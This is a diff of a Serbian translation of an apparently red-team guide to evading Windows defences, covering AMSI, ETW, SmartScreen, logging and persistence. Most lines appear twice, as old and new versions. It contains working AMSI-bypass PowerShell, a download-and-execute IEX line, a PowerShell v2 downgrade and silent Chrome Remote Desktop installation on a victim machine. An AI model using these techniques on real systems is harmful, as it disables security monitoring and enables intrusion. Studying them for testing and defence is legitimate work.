- PowerShell (scripts, interactive use, and dynamic code evaluation)
@ -201,39 +203,39 @@ AMSI feature je integrisan u sledeće Windows komponente.
- JavaScript and VBScript
- Office VBA macros
Ovo omogućava antivirus rešenjima da pregledaju ponašanje skripti tako što izlaže sadržaj skripti u obliku koji je nekriptovan i unobfuscated.
Omogućava antivirusnim rešenjima da pregledaju ponašanje skripti tako što izlaže sadržaj skripti u obliku koji nije šifrovan i nije obfuskovan.
Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender.
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
Obratite pažnju kako prepends `amsi:` i zatim putanju do izvršnog fajla iz kog je skripta pokrenuta, u ovom slučaju powershell.exe
Primetite kako doda `amsi:` i potom putanju do izvršnog fajla iz kojeg je skripta pokrenuta, u ovom slučaju, powershell.exe
Nismo ispisali nijedan fajl na disk, a opet smo otkriveni in-memory zbog AMSI.
Nismo pustili nijedan fajl na disk, ali smo ipak uhvaćeni in-memory zbog AMSI.
Štaviše, počevši od **.NET 4.8**, C# kod takođe prolazi kroz AMSI. Ovo čak utiče i na `Assembly.Load(byte[])` pri učitavanju za in-memory izvršenje. Zato se preporučuje korišćenje nižih verzija .NET-a (npr. 4.7.2 ili niže) za in-memory izvršenje ako želite da izbegnete AMSI.
Štaviše, počevši od **.NET 4.8**, C# code takođe prolazi kroz AMSI. Ovo čak utiče i na `Assembly.Load(byte[])` za in-memory execution. Zato se preporučuje korišćenje nižih verzija .NET-a (poput 4.7.2 ili niže) za in-memory execution ako želite da zaobiđete AMSI.
Postoji nekoliko načina za zaobilaženje AMSI-ja:
Postoji nekoliko načina da se zaobiđe AMSI:
- **Obfuscation**
Pošto AMSI uglavnom radi sa statičkim detekcijama, modifikovanje skripti koje pokušavate da učitate može biti dobar način za evading detection.
Pošto AMSI uglavnom radi sa static detections, modifikovanje skripti koje pokušavate da učitate može biti dobar način za izbegavanje detekcije.
Međutim, AMSI ima mogućnost unobfuscating skripti čak i ako ima više slojeva, tako da obfuscation može biti loša opcija u zavisnosti od načina na koji je urađena. To otežava jednostavno izbegavanje. Ipak, ponekad je dovoljno promeniti par imena promenljivih i bićete u redu, pa sve zavisi koliko je nešto označeno.
Međutim, AMSI ima mogućnost unobfuscating skripti čak i ako ima više slojeva, tako da obfuscation može biti loša opcija u zavisnosti od načina na koji je urađena. To čini izbegavanje detekcije manje jednostavnim. Ipak, ponekad je dovoljno da promenite par imena promenljivih i bićete u redu, pa sve zavisi od toga koliko je nešto označeno.
- **AMSI Bypass**
Pošto se AMSI implementira učitavanjem DLL-a u powershell (takođe cscript.exe, wscript.exe, itd.) proces, moguće je lako manipulisati njime čak i kada se radi kao neprivilegovan korisnik. Zbog ovog propusta u implementaciji AMSI-ja, istraživači su pronašli više načina da zaobiđu AMSI skeniranje.
Pošto se AMSI implementira učitavanjem DLL-a u powershell (takođe cscript.exe, wscript.exe, itd.) proces, moguće je lako manipulisati njime čak i kada se pokreće kao neprivilegovan korisnik. Zbog ovog nedostatka u implementaciji AMSI-ja, istraživači su pronašli više načina da evade AMSI scanning.
**Forcing an Error**
Prinudno izazivanje greške pri inicijalizaciji AMSI-ja (amsiInitFailed) će rezultirati time da se za trenutni proces neće pokrenuti nikakvo skeniranje. Ovo je prvobitno otkrio [Matt Graeber](https://twitter.com/mattifestation) i Microsoft je razvio signature da spreči širu upotrebu.
Forcing the AMSI initialization to fail (amsiInitFailed) will result that no scan will be initiated for the current process. Originally this was disclosed by [Matt Graeber](https://twitter.com/mattifestation) and Microsoft has developed a signature to prevent wider usage.
```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
Sve što je bilo potrebno bila je jedna linija powershell koda da učini AMSI neupotrebljivim za trenutni powershell proces. Ta linija je, naravno, označena od strane samog AMSI-ja, pa je potrebna određena modifikacija da bi se ova tehnika mogla koristiti.
Bila je dovoljna samo jedna linija powershell koda da učini AMSI neupotrebljivim za trenutni powershell proces. Naravno, ta linija je označena od strane samog AMSI-ja, pa je potrebna određena modifikacija da bi se ova tehnika mogla koristiti.
Evo modifikovanog AMSI bypass-a koji sam preuzeo sa ovog [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
Evo modifikovanog AMSI bypassa koji sam preuzeo sa ovog [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
```bash
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
@ -247,122 +249,117 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
Imajte na umu da će ovo verovatno biti označeno čim ova objava izađe, pa ne biste trebali objavljivati kod ako planirate ostati neotkriveni.
**Memory Patching**
This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
Ova tehnika je prvobitno otkrivena od [@RastaMouse](https://twitter.com/_RastaMouse/) i uključuje pronalaženje adrese funkcije "AmsiScanBuffer" u amsi.dll (koja je odgovorna za skeniranje ulaza koji je korisnik dostavio) i prepisivanje te funkcije instrukcijama koje vraćaju kod E_INVALIDARG; na taj način rezultat stvarnog skeniranja će vratiti 0, što se tumači kao čist rezultat.
> [!TIP]
> Molimo pročitajte [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) za detaljnije objašnjenje.
> Pročitajte [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) za detaljnije objašnjenje.
There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
Postoje i mnoge druge tehnike koje se koriste za zaobilaženje AMSI pomoću powershell-a; pogledajte [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) i [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) da biste saznali više o njima.
This tools [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.
Ovaj alat [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) takođe generiše skriptu za zaobilaženje AMSI.
**Remove the detected signature**
**Uklonite detektovani potpis**
You can use a tool such as **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** and **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** to remove the detected AMSI signature from the memory of the current process. This tool works by scanning the memory of the current process for the AMSI signature and then overwriting it with NOP instructions, effectively removing it from memory.
Možete koristiti alat kao što je **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** i **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** da uklonite detektovani AMSI potpis iz memorije trenutnog procesa. Ovaj alat radi tako što skenira memoriju trenutnog procesa u potrazi za AMSI potpisom i zatim ga prepisuje NOP instrukcijama, efikasno uklanjajući ga iz memorije.
Možete koristiti alat kao što su [https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi) i [https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger) da uklonite detektovani AMSI potpis iz memorije trenutnog procesa. Ovi alati rade tako što skeniraju memoriju trenutnog procesa u potrazi za AMSI potpisom, a zatim ga prepisuju NOP instrukcijama, efektivno uklanjajući ga iz memorije.
**AV/EDR products that uses AMSI**
You can find a list of AV/EDR products that uses AMSI in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
Možete pronaći listu AV/EDR proizvoda koji koriste AMSI na [https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi).
Možete pronaći listu AV/EDR proizvoda koji koriste AMSI u **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
**Use Powershell version 2**
If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this:
Ako koristite PowerShell verziju 2, AMSI se neće učitati, pa možete pokretati svoje skripte bez skeniranja od strane AMSI. Možete to uraditi ovako:
**Koristite Powershell verziju 2**
Ako koristite PowerShell verziju 2, AMSI neće biti učitan, pa možete pokretati svoje skripte bez skeniranja od strane AMSI. Možete to učiniti ovako:
```bash
powershell.exe -version 2
```
## PS logovanje
## PS Logging
PowerShell logging je funkcija koja vam omogućava da beležite sve PowerShell komande koje se izvršavaju na sistemu. Ovo može biti korisno za audit i rešavanje problema, ali može predstavljati i problem za napadače koji žele da izbegnu detekciju.
PowerShell logging je funkcija koja omogućava beleženje svih PowerShell komandi izvršenih na sistemu. Ovo može biti korisno za reviziju i rešavanje problema, ali takođe može predstavljati **problem za napadače koji žele da izbegnu detekciju**.
Da biste zaobišli PowerShell logging, možete koristiti sledeće tehnike:
Za zaobilaženje PowerShell logging-a možete koristiti sledeće tehnike:
- **Onemogućite PowerShell Transcription i Module Logging**: Možete koristiti alat kao što je [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) za ovu svrhu.
- **Koristite Powershell verziju 2**: Ako koristite PowerShell verzije 2, AMSI se neće učitati, pa možete izvršavati svoje skripte bez skeniranja od strane AMSI. Možete to uraditi ovako: `powershell.exe -version 2`
- **Koristite Unmanaged Powershell Session**: Koristite [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) da spawn-ujete powershell bez odbrane (ovo je ono što `powerpick` iz Cobal Strike koristi).
- **Disable PowerShell Transcription and Module Logging**: Za ovu namenu možete koristiti alat kao što je [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs).
- **Use Powershell version 2**: Ako koristite PowerShell verziju 2, AMSI se neće učitati, pa možete pokretati skripte bez skeniranja od strane AMSI. Ovo možete uraditi: `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: Koristite [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) da spawn-ujete powershell bez odbrane (ovo je ono što `powerpick` iz Cobal Strike koristi).
## Obfuskacija
## Obfuscation
> [!TIP]
> Nekoliko tehnika obfuskacije zasniva se na enkripciji podataka, što povećava entropiju binarnog fajla i olakšava AV-ima i EDR-ovima da ga detektuju. Budite oprezni zbog toga i možda primenjujte enkripciju samo na specifične delove koda koji su osetljivi ili ih treba sakriti.
> Nekoliko tehnika obfuskacije se oslanja na enkriptovanje podataka, što povećava entropiju binarnog fajla i olakšava AVs i EDRs njegovo otkrivanje. Budite oprezni sa tim i moguće je da primenite enkripciju samo na specifične delove koda koji su osetljivi ili koje treba sakriti.
### Deobfuskacija .NET binarnih fajlova zaštićenih ConfuserEx
### Deobfuscating ConfuserEx-Protected .NET Binaries
Pri analizi malvera koji koristi ConfuserEx 2 (ili komercijalne forkove) često se susrećete sa više slojeva zaštite koji blokiraju dekompajlere i sandbokse. Radni tok ispod pouzdano **vraća skoro-originalni IL** koji potom može biti dekompajliran u C# alatima kao što su dnSpy ili ILSpy.
Prilikom analize malware-a koji koristi ConfuserEx 2 (ili komercijalne fork-ove) često se nailazi na više slojeva zaštite koji blokiraju dekompajlere i sandbokse. Radni tok ispod pouzdano **vraća skoro-originalni IL** koji se potom može dekompilovati u C# u alatima kao što su dnSpy ili ILSpy.
1. Uklanjanje anti-tamper zaštite – ConfuserEx enkriptuje svako *method body* i dekriptuje ga unutar statičkog konstruktora *module* (`<Module>.cctor`). Ovo takođe menja PE checksum, pa će bilo koja modifikacija srušiti binarni fajl. Koristite **AntiTamperKiller** da locirate enkriptovane metadata tabele, povratite XOR ključeve i upišete čist assembly:
1. Anti-tampering removal – ConfuserEx enkriptuje svako *method body* i dekriptuje ga unutar *module* statičkog konstruktora (`<Module>.cctor`). Ovo takođe menja PE checksum pa bilo kakva modifikacija može srušiti binarni fajl. Koristite **AntiTamperKiller** da locirate enkriptovane metadata tabele, oporavite XOR ključeve i prepišete čist assembly:
```bash
# https://github.com/wwh1004/AntiTamperKiller
python AntiTamperKiller.py Confused.exe Confused.clean.exe
```
Izlaz sadrži 6 anti-tamper parametara (`key0-key3`, `nameHash`, `internKey`) koji mogu biti korisni pri izradi vlastitog unpackera.
Izlaz sadrži 6 anti-tamper parametara (`key0-key3`, `nameHash`, `internKey`) koji mogu biti korisni pri izgradnji vlastitog unpacker-a.
2. Oporavak simbola / control-flow – prosledite *clean* fajl u **de4dot-cex** (ConfuserEx-aware fork de4dot).
2. Symbol / control-flow recovery – predajte *clean* fajl **de4dot-cex** (ConfuserEx-aware fork de4dot-a).
```bash
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
```
Opcije:
Flags:
• `-p crx` – izaberite ConfuserEx 2 profil
• de4dot će poništiti control-flow flattening, vratiti originalne namespace-ove, klase i imena promenljivih i dekriptovati konstantne stringove.
• de4dot će poništiti control-flow flattening, vratiti originalne namespaces, klase i imena varijabli i dekriptovati konstantne stringove.
3. Uklanjanje proxy poziva – ConfuserEx zamenjuje direktne pozive metoda lakim wrapperima (poznatim i kao *proxy calls*) da bi dodatno otežao dekompilaciju. Uklonite ih pomoću **ProxyCall-Remover**:
3. Proxy-call stripping – ConfuserEx zamenjuje direktne pozive metoda laganim wrapper-ima (t.zv. *proxy calls*) da dodatno oteža dekompilaciju. Uklonite ih pomoću **ProxyCall-Remover**:
```bash
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
```
Nakon ovog koraka treba da primetite normalne .NET API-je kao što su `Convert.FromBase64String` ili `AES.Create()` umesto neprozirnih wrapper funkcija (`Class8.smethod_10`, …).
Nakon ovog koraka trebalo bi da primetite normalne .NET API-je poput `Convert.FromBase64String` ili `AES.Create()` umesto nejasnih wrapper funkcija (`Class8.smethod_10`, …).
4. Ručno čišćenje – pokrenite rezultujući binarni fajl u dnSpy, pretražite velike Base64 blob-ove ili korišćenje `RijndaelManaged`/`TripleDESCryptoServiceProvider` da biste locirali *pravi* payload. Često malver čuva payload kao TLV-enkodiran bajt niz inicijalizovan unutar `<Module>.byte_0`.
4. Manual clean-up – pokrenite dobijeni binarni fajl u dnSpy-u, pretražite velike Base64 blob-ove ili upotrebu `RijndaelManaged`/`TripleDESCryptoServiceProvider` da locirate *pravi* payload. Često malware čuva payload kao TLV-enkodirani niz bajtova inicijalizovan unutar `<Module>.byte_0`.
Gornji lanac vraća tok izvršavanja **bez** potrebe da se maliciozni uzorak izvrši – korisno pri radu na offline radnoj stanici.
Gore navedeni lanac vraća tok izvršavanja **bez** potrebe da se pokreće zlonamerni sample – korisno pri radu na offline radnoj stanici.
> 🛈 ConfuserEx proizvodi custom atribut nazvan `ConfusedByAttribute` koji može da se koristi kao IOC za automatsku trijažu uzoraka.
> 🛈 ConfuserEx proizvodi custom atribut nazvan `ConfusedByAttribute` koji se može koristiti kao IOC za automatsku trijažu sample-ova.
#### Jednolinijski primer
#### One-liner
```bash
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
```
---
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Cilj ovog projekta je da obezbedi open-source fork [LLVM](http://www.llvm.org/) kompajlacionog paketa sposoban da poveća bezbednost softvera kroz [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) i tamper-proofing.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstrira kako koristiti `C++11/14` jezik za generisanje, u vreme kompajliranja, obfuscated code bez korišćenja bilo kog eksternog alata i bez modifikacije kompajlera.
- [**obfy**](https://github.com/fritzone/obfy): Dodaje sloj ofusciranih operacija generisanih pomoću C++ template metaprogramming framework-a koji će otežati život osobi koja želi da crack-uje aplikaciju.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz je x64 binary obfuscator koji je sposoban da ofuskuje razne PE fajlove uključujući: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame je jednostavan metamorphic code engine za proizvoljne izvršne fajlove.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator je fine-grained code obfuscation framework za jezike podržane od strane LLVM koristeći ROP (return-oriented programming). ROPfuscator obfuscates program na nivou assembly koda transformišući regularne instrukcije u ROP lance, narušavajući našu prirodnu percepciju normalnog toka kontrole.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt je .NET PE Crypter napisan u Nimu
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Cilj ovog projekta je da obezbedi open-source fork [LLVM](http://www.llvm.org/) kompilacionog paketa koji može da pruži povećanu bezbednost softvera kroz [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) i tamper-proofing.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstrira kako koristiti `C++11/14` jezik da bi se pri kompilaciji generisao obfuscated code bez korišćenja bilo kog external tool i bez modifikovanja kompajlera.
- [**obfy**](https://github.com/fritzone/obfy): Dodaje sloj obfuscated operations generisanih pomoću C++ template metaprogramming framework-a što će otežati život osobi koja želi da crack-uje aplikaciju.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz je x64 binary obfuscator koji može da obfuscate razne PE fajlove uključujući: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame je jednostavan metamorphic code engine za proizvoljne executables.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator je fine-grained code obfuscation framework za LLVM-supported languages koristeći ROP (return-oriented programming). ROPfuscator obfuscates program na nivou assembly koda transformišući regularne instrukcije u ROP chains, narušavajući našu prirodnu percepciju normalnog control flow-a.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt je .NET PE Crypter napisan u Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor može da konvertuje postojeće EXE/DLL u shellcode i zatim ih učita
## SmartScreen & MoTW
Možda ste videli ovaj ekran kada preuzimate neke izvršne fajlove sa interneta i pokušate da ih izvršite.
Možda ste videli ovaj ekran prilikom preuzimanja nekih executables sa interneta i njihovog pokretanja.
Microsoft Defender SmartScreen je bezbednosni mehanizam namenjen da zaštiti krajnjeg korisnika od pokretanja potencijalno malicioznih aplikacija.
Microsoft Defender SmartScreen je bezbednosni mehanizam namenjen zaštiti krajnjeg korisnika od pokretanja potencijalno malicioznih aplikacija.
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen uglavnom radi na bazi reputacije, što znači da aplikacije koje se retko preuzimaju aktiviraće SmartScreen, upozoravajući i sprečavajući krajnjeg korisnika da izvrši fajl (iako fajl i dalje može biti pokrenut klikom na More Info -> Run anyway).
SmartScreen uglavnom funkcioniše na osnovu reputacije, što znači da će aplikacije koje se retko preuzimaju aktivirati SmartScreen, upozoriti i sprečiti korisnika da pokrene fajl (iako se fajl i dalje može pokrenuti klikom More Info -> Run anyway).
**MoTW** (Mark of The Web) je [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) sa imenom Zone.Identifier koji se automatski kreira prilikom preuzimanja fajlova sa interneta, zajedno sa URL-om sa kojeg je fajl preuzet.
**MoTW** (Mark of The Web) je [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) sa imenom Zone.Identifier koji se automatski kreira pri preuzimanju fajlova sa interneta, zajedno sa URL-om sa kojeg je preuzet.
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Provera Zone.Identifier ADS za fajl preuzet sa interneta.</p></figcaption></figure>
> [!TIP]
> Važno je napomenuti da izvršni fajlovi potpisani sa **trusted** signing certificate **won't trigger SmartScreen**.
> Važno je napomenuti da izvršni fajlovi potpisani sa **trusted** signing certificate **neće aktivirati SmartScreen**.
Veoma efikasan način da sprečite da vaši payloads dobiju Mark of The Web je da ih spakujete u neku vrstu kontejnera, poput ISO. To se dešava zato što Mark-of-the-Web (MOTW) **cannot** biti primenjen na **non NTFS** volumene.
Veoma efikasan način da sprečite da vaši payloads dobiju Mark of The Web je da ih spakujete u neki container poput ISO-a. To je zato što Mark-of-the-Web (MOTW) **ne može** biti primenjen na **non NTFS** volumes.
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) je alat koji pakuje payloads u izlazne kontejnere kako bi izbegao Mark-of-the-Web.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) je alat koji pakuje payloads u output containers kako bi izbegao Mark-of-the-Web.
Example usage:
```bash
@ -386,87 +383,86 @@ Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
```
Here is a demo zaobilaženja SmartScreen-a pakovanjem payloads unutar ISO fajlova koristeći [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## ETW
Event Tracing for Windows (ETW) je moćan mehanizam za logovanje u Windows-u koji omogućava aplikacijama i komponentama sistema da **loguju događaje**. Međutim, on se takođe može koristiti od strane security proizvoda za praćenje i detekciju zlonamernih aktivnosti.
Event Tracing for Windows (ETW) je moćan mehanizam za logovanje u Windows-u koji omogućava aplikacijama i sistemskim komponentama da **log events**. Međutim, može se takođe koristiti od strane sigurnosnih proizvoda za praćenje i detekciju zlonamernih aktivnosti.
Slično načinu na koji se AMSI onemogućava (bypassa), moguće je i učiniti da funkcija korisničkog prostora `EtwEventWrite` odmah vrati kontrolu bez logovanja događaja. Ovo se postiže patchovanjem funkcije u memoriji tako da odmah vraća vrednost, efektivno onemogućavajući ETW logovanje za taj proces.
Slično kao što se AMSI onemogućava (bypassa), moguće je i učiniti da funkcija korisničkog prostora procesa **`EtwEventWrite`** odmah vrati kontrolu bez logovanja ikakvih događaja. To se postiže patchovanjem funkcije u memoriji da odmah vrati kontrolu, efektivno onemogućavajući ETW logovanje za taj proces.
Više informacija možete naći na **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
## C# Assembly Reflection
Loading C# binaries u memoriju je poznato već dugo i i dalje je odličan način za pokretanje post-exploitation alata bez da te detektuje AV.
Loading C# binaries in memory je poznato već duže vreme i i dalje je odličan način za pokretanje post-exploitation alata bez da vas AV otkrije.
Pošto će payload biti učitan direktno u memoriju bez dodirivanja diska, moraćemo se brinuti samo o patchovanju AMSI za ceo proces.
Pošto će payload biti učitan direktno u memoriju bez dodirivanja diska, potrebno je samo da se pozabavimo patchovanjem AMSI za ceo proces.
Većina C2 framework-a (sliver, Covenant, metasploit, CobaltStrike, Havoc, itd.) već pruža mogućnost izvršavanja C# assemblies direktno u memoriji, ali postoje različiti načini da se to uradi:
Većina C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, itd.) već omogućava izvršavanje C# assemblies direktno u memoriji, ali postoji nekoliko različitih načina da se to uradi:
- **Fork\&Run**
Podrazumeva **pokretanje novog žrtvenog procesa**, injektovanje vašeg post-exploitation zlonamernog koda u taj novi proces, izvršenje koda i nakon završetka ubijanje novog procesa. Ovo ima i prednosti i nedostatke. Prednost fork and run metode je što izvršenje odvija **izvan** našeg Beacon implant procesa. To znači da ako nešto u našoj post-exploitation akciji krene po zlu ili bude uhvaćeno, postoji **mnogo veća šansa** da naš **implant ostane živ.** Nedostatak je što imate **veću šansu** da budete otkriveni od strane **Behavioural Detections**.
Podrazumeva **spawning a new sacrificial process**, inject your post-exploitation malicious code u taj novi proces, izvršiti zlonamerni kod i po završetku ubiti novi proces. Ovo ima i svoje prednosti i mane. Prednost fork and run metode je što se izvršavanje dešava **outside** našeg Beacon implant procesa. To znači da ako nešto u našoj post-exploitation akciji krene po zlu ili bude otkriveno, postoji **much greater chance** da naš **implant preživi.** Mana je što imate **greater chance** da budete otkriveni od strane **Behavioural Detections**.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
Radi se o injektovanju post-exploitation zlonamernog koda **u sopstveni proces**. Na ovaj način možete izbeći kreiranje novog procesa i njegovo skeniranje od strane AV, ali nedostatak je što ako nešto pođe po zlu tokom izvršenja vašeg payload-a, postoji **mnogo veća šansa** da **izgubite svoj beacon** jer proces može da se sruši.
Radi se o injectovanju post-exploitation malicious code **into its own process**. Na ovaj način možete izbeći kreiranje novog procesa i njegovo skeniranje od strane AV, ali mana je što ako nešto pođe po zlu pri izvršenju vašeg payload-a, postoji **much greater chance** da **izgubite svoj beacon** jer bi mogao da se sruši.
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Ako želite da pročitate više o C# Assembly loading, pogledajte ovaj članak [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) i njihov InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
> Ako želite više da pročitate o C# Assembly loading, pogledajte ovaj članak [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) i njihov InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
Takođe možete učitavati C# Assemblies **iz PowerShell-a**, pogledajte [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) i S3cur3th1sSh1t-ov video (https link).
Takođe možete učitavati C# Assemblies **from PowerShell**, pogledajte [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) i [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
## Korišćenje drugih programskih jezika
Kao što je predloženo u [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), moguće je izvršavati zlonamerni kod koristeći druge jezike tako što se kompromitovanom računaru omogući pristup **interpreter environment** instaliranom na Attacker Controlled SMB share.
As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), moguće je izvršavati zlonamerni kod koristeći druge jezike tako što se kompromitovanom računaru omogući pristup **to the interpreter environment installed on the Attacker Controlled SMB share**.
Dozvoljavanjem pristupa Interpreter Binaries i okruženju na SMB share-u možete **izvršavati proizvoljan kod u tim jezicima u memoriji** kompromitovanog sistema.
Dozvoljavanjem pristupa Interpreter Binaries i okruženju na SMB share-u možete **execute arbitrary code in these languages within memory** kompromitovanog računara.
Repo navodi: Defender i dalje skenira skripte, ali korišćenjem Go, Java, PHP itd. imamo **veću fleksibilnost za zaobilaženje statičkih potpisa**. Testiranje sa nasumičnim ne-obfuskovanim reverse shell skriptama u tim jezicima se ispostavilo uspešnim.
Repo navodi: Defender i dalje skenira skripte ali korišćenjem Go, Java, PHP itd. imamo **more flexibility to bypass static signatures**. Testiranje sa nasumičnim neobfuskiranim reverse shell skriptama u ovim jezicima se pokazalo uspešnim.
## TokenStomping
Token stomping je tehnika koja napadaču omogućava da **manipuliše access token-om ili security proizvodom kao što je EDR ili AV**, dopuštajući im da mu smanje privilegije tako da proces neće umreti ali neće imati dozvole da proverava zlonamerne aktivnosti.
Token stomping je tehnika koja omogućava napadaču da **manipuliše access token-om ili bezbednosnim proizvodom kao što je EDR ili AV**, omogućavajući mu da smanji njihove privilegije tako da proces neće umreti, ali neće imati dozvole da proverava zlonamerne aktivnosti.
Da bi se ovo sprečilo, Windows bi mogao **onemogućiti spoljnim procesima** da dobijaju handles nad tokenima security procesa.
Da bi se ovo sprečilo, Windows bi mogao **prevent external processes** da dobijaju handle-ove nad token-ima sigurnosnih procesa.
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
## Korišćenje poverljivog softvera
## Korišćenje pouzdanog softvera
### Chrome Remote Desktop
Kao što je opisano u [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), lako je jednostavno deploy-ovati Chrome Remote Desktop na žrtvinom PC-u i zatim ga koristiti za takeover i održavanje persistence:
1. Download sa https://remotedesktop.google.com/, kliknite na "Set up via SSH", zatim kliknite na MSI fajl za Windows da preuzmete MSI fajl.
2. Pokrenite installer tiho na žrtvi (potrebna admin prava): `msiexec /i chromeremotedesktophost.msi /qn`
3. Vratite se na Chrome Remote Desktop stranicu i kliknite next. Wizard će zatim zatražiti autorizaciju; kliknite na Authorize dugme da nastavite.
